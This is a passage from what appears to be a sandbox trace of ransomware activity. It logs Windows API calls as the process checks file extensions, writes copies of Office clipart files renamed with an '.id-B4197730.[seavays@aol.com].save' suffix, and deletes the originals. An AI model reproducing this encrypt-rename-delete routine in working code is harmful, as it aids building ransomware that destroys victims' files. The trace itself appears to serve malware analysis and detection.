(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF") returned 68 [0197.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF") returned 68 [0197.100] lstrlenW (lpString=".doc") returned 4 [0197.100] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.100] lstrlenW (lpString=".docx") returned 5 [0197.100] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0197.100] lstrlenW (lpString=".pdf") returned 4 [0197.100] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.101] lstrlenW (lpString=".xls") returned 4 [0197.101] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.101] lstrlenW (lpString=".xlsx") returned 5 [0197.101] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0197.101] lstrlenW (lpString=".ppt") returned 4 [0197.101] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF") returned 68 [0197.101] lstrlenW (lpString=".zip") returned 4 [0197.101] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.101] lstrlenW (lpString=".rar") returned 4 [0197.101] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.101] lstrlenW (lpString=".bz2") returned 4 [0197.101] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.101] lstrlenW (lpString=".7z") returned 3 [0197.101] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF") returned 68 [0197.101] lstrlenW (lpString=".dbf") returned 4 [0197.101] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF") returned 68 [0197.101] lstrlenW (lpString=".1cd") returned 4 [0197.101] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF") returned 68 [0197.101] lstrlenW (lpString=".jpg") returned 4 [0197.101] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.102] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0197.103] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0197.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198022.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198022.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0197.104] GetLastError () returned 0x0 [0197.104] ReadFile (in: hFile=0x510, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x6624, lpOverlapped=0x0) returned 1 [0197.107] WriteFile (in: hFile=0x548, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x6630, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x6630, lpOverlapped=0x0) returned 1 [0197.108] ReadFile (in: hFile=0x510, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0197.109] WriteFile (in: hFile=0x548, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0197.109] SetEndOfFile (hFile=0x548) returned 1 [0197.109] CloseHandle (hObject=0x548) returned 1 [0197.109] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0197.109] SetEndOfFile (hFile=0x510) returned 1 [0197.112] CloseHandle (hObject=0x510) returned 1 [0197.113] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198022.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0197.113] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198022.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198022.wmf")) returned 1 [0197.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198022.WMF") returned 68 [0197.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198022.WMF") returned 68 [0197.115] lstrlenW (lpString=".doc") returned 4 [0197.115] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.115] lstrlenW (lpString=".docx") returned 5 [0197.115] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0197.115] lstrlenW (lpString=".pdf") returned 4 [0197.115] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.115] lstrlenW (lpString=".xls") returned 4 [0197.115] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.115] lstrlenW (lpString=".xlsx") returned 5 [0197.115] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0197.115] lstrlenW (lpString=".ppt") returned 4 [0197.115] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198022.WMF") returned 68 [0197.115] lstrlenW (lpString=".zip") returned 4 [0197.115] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.115] lstrlenW (lpString=".rar") returned 4 [0197.116] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.267] lstrlenW (lpString=".bz2") returned 4 [0197.267] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.267] lstrlenW (lpString=".7z") returned 3 [0197.267] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198022.WMF") returned 68 [0197.267] lstrlenW (lpString=".dbf") returned 4 [0197.267] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198022.WMF") returned 68 [0197.267] lstrlenW (lpString=".1cd") returned 4 [0197.267] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198022.WMF") returned 68 [0197.268] lstrlenW (lpString=".jpg") returned 4 [0197.268] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.270] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0197.270] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0197.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198113.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198113.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0197.271] GetLastError () returned 0x0 [0197.272] ReadFile (in: hFile=0x56c, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0xa520, lpOverlapped=0x0) returned 1 [0197.275] WriteFile (in: hFile=0x518, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xa530, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xa530, lpOverlapped=0x0) returned 1 [0197.277] ReadFile (in: hFile=0x56c, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0197.277] WriteFile (in: hFile=0x518, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0197.278] SetEndOfFile (hFile=0x518) returned 1 [0197.278] CloseHandle (hObject=0x518) returned 1 [0197.278] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0197.278] SetEndOfFile (hFile=0x56c) returned 1 [0197.284] CloseHandle (hObject=0x56c) returned 1 [0197.284] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198113.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0197.285] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198113.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198113.wmf")) returned 1 [0197.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198113.WMF") returned 68 [0197.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198113.WMF") returned 68 [0197.287] lstrlenW (lpString=".doc") returned 4 [0197.287] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.287] lstrlenW (lpString=".docx") returned 5 [0197.287] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0197.287] lstrlenW (lpString=".pdf") returned 4 [0197.287] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.287] lstrlenW (lpString=".xls") returned 4 [0197.287] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.287] lstrlenW (lpString=".xlsx") returned 5 [0197.287] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0197.287] lstrlenW (lpString=".ppt") returned 4 [0197.287] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198113.WMF") returned 68 [0197.287] lstrlenW (lpString=".zip") returned 4 [0197.287] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.287] lstrlenW (lpString=".rar") returned 4 [0197.287] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.287] lstrlenW (lpString=".bz2") returned 4 [0197.287] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.287] lstrlenW (lpString=".7z") returned 3 [0197.287] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198113.WMF") returned 68 [0197.287] lstrlenW (lpString=".dbf") returned 4 [0197.287] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198113.WMF") returned 68 [0197.288] lstrlenW (lpString=".1cd") returned 4 [0197.288] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198113.WMF") returned 68 [0197.288] lstrlenW (lpString=".jpg") returned 4 [0197.288] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.289] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0197.289] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0197.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198226.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198226.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0197.290] GetLastError () returned 0x0 [0197.290] ReadFile (in: hFile=0x56c, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0xa3b2, lpOverlapped=0x0) returned 1 [0197.294] WriteFile (in: hFile=0x518, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xa3c0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xa3c0, lpOverlapped=0x0) returned 1 [0197.298] ReadFile (in: hFile=0x56c, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0197.298] WriteFile (in: hFile=0x518, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0197.298] SetEndOfFile (hFile=0x518) returned 1 [0197.299] CloseHandle (hObject=0x518) returned 1 [0197.299] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0197.299] SetEndOfFile (hFile=0x56c) returned 1 [0197.649] CloseHandle (hObject=0x56c) returned 1 [0197.649] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198226.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0197.867] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198226.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198226.wmf")) returned 1 [0198.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198226.WMF") returned 68 [0198.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198226.WMF") returned 68 [0198.531] lstrlenW (lpString=".doc") returned 4 [0198.531] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.531] lstrlenW (lpString=".docx") returned 5 [0198.531] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0198.531] lstrlenW (lpString=".pdf") returned 4 [0198.531] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.531] lstrlenW (lpString=".xls") returned 4 [0198.531] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.531] lstrlenW (lpString=".xlsx") returned 5 [0198.531] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0198.531] lstrlenW (lpString=".ppt") returned 4 [0198.531] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198226.WMF") returned 68 [0198.531] lstrlenW (lpString=".zip") returned 4 [0198.531] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.531] lstrlenW (lpString=".rar") returned 4 [0198.531] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.531] lstrlenW (lpString=".bz2") returned 4 [0198.532] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.532] lstrlenW (lpString=".7z") returned 3 [0198.532] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198226.WMF") returned 68 [0198.532] lstrlenW (lpString=".dbf") returned 4 [0198.532] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198226.WMF") returned 68 [0198.532] lstrlenW (lpString=".1cd") returned 4 [0198.532] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198226.WMF") returned 68 [0198.532] lstrlenW (lpString=".jpg") returned 4 [0198.532] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.660] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0198.660] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0198.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198494.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198494.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0198.662] GetLastError () returned 0x0 [0198.662] ReadFile (in: hFile=0x554, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0xae08, lpOverlapped=0x0) returned 1 [0198.665] WriteFile (in: hFile=0x528, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xae10, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xae10, lpOverlapped=0x0) returned 1 [0198.667] ReadFile (in: hFile=0x554, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0198.667] WriteFile (in: hFile=0x528, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0198.667] SetEndOfFile (hFile=0x528) returned 1 [0198.667] CloseHandle (hObject=0x528) returned 1 [0198.668] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0198.668] SetEndOfFile (hFile=0x554) returned 1 [0198.671] CloseHandle (hObject=0x554) returned 1 [0198.672] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198494.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0198.672] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198494.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198494.wmf")) returned 1 [0198.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198494.WMF") returned 68 [0198.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198494.WMF") returned 68 [0198.674] lstrlenW (lpString=".doc") returned 4 [0198.674] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.674] lstrlenW (lpString=".docx") returned 5 [0198.674] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0198.674] lstrlenW (lpString=".pdf") returned 4 [0198.674] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.674] lstrlenW (lpString=".xls") returned 4 [0198.674] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.674] lstrlenW (lpString=".xlsx") returned 5 [0198.674] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0198.674] lstrlenW (lpString=".ppt") returned 4 [0198.674] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198494.WMF") returned 68 [0198.674] lstrlenW (lpString=".zip") returned 4 [0198.674] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.674] lstrlenW (lpString=".rar") returned 4 [0198.674] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.674] lstrlenW (lpString=".bz2") returned 4 [0198.674] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.675] lstrlenW (lpString=".7z") returned 3 [0198.675] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198494.WMF") returned 68 [0198.675] lstrlenW (lpString=".dbf") returned 4 [0198.675] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198494.WMF") returned 68 [0198.675] lstrlenW (lpString=".1cd") returned 4 [0198.675] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198494.WMF") returned 68 [0198.675] lstrlenW (lpString=".jpg") returned 4 [0198.675] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.676] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0198.676] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0198.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199423.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199423.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0198.678] GetLastError () returned 0x0 [0198.678] ReadFile (in: hFile=0x554, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x662a, lpOverlapped=0x0) returned 1 [0198.680] WriteFile (in: hFile=0x528, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x6630, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x6630, lpOverlapped=0x0) returned 1 [0198.682] ReadFile (in: hFile=0x554, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0198.682] WriteFile (in: hFile=0x528, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0198.682] SetEndOfFile (hFile=0x528) returned 1 [0198.682] CloseHandle (hObject=0x528) returned 1 [0198.682] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0198.682] SetEndOfFile (hFile=0x554) returned 1 [0198.685] CloseHandle (hObject=0x554) returned 1 [0198.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199423.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0198.686] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199423.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199423.wmf")) returned 1 [0198.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199423.WMF") returned 68 [0198.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199423.WMF") returned 68 [0198.687] lstrlenW (lpString=".doc") returned 4 [0198.687] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.687] lstrlenW (lpString=".docx") returned 5 [0198.687] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0198.687] lstrlenW (lpString=".pdf") returned 4 [0198.687] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.687] lstrlenW (lpString=".xls") returned 4 [0198.687] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.687] lstrlenW (lpString=".xlsx") returned 5 [0198.687] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0198.687] lstrlenW (lpString=".ppt") returned 4 [0198.687] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199423.WMF") returned 68 [0198.687] lstrlenW (lpString=".zip") returned 4 [0198.687] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.687] lstrlenW (lpString=".rar") returned 4 [0198.687] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.687] lstrlenW (lpString=".bz2") returned 4 [0198.688] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.688] lstrlenW (lpString=".7z") returned 3 [0198.688] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199423.WMF") returned 68 [0198.688] lstrlenW (lpString=".dbf") returned 4 [0198.688] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199423.WMF") returned 68 [0198.688] lstrlenW (lpString=".1cd") returned 4 [0198.688] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199423.WMF") returned 68 [0198.688] lstrlenW (lpString=".jpg") returned 4 [0198.688] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.689] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, 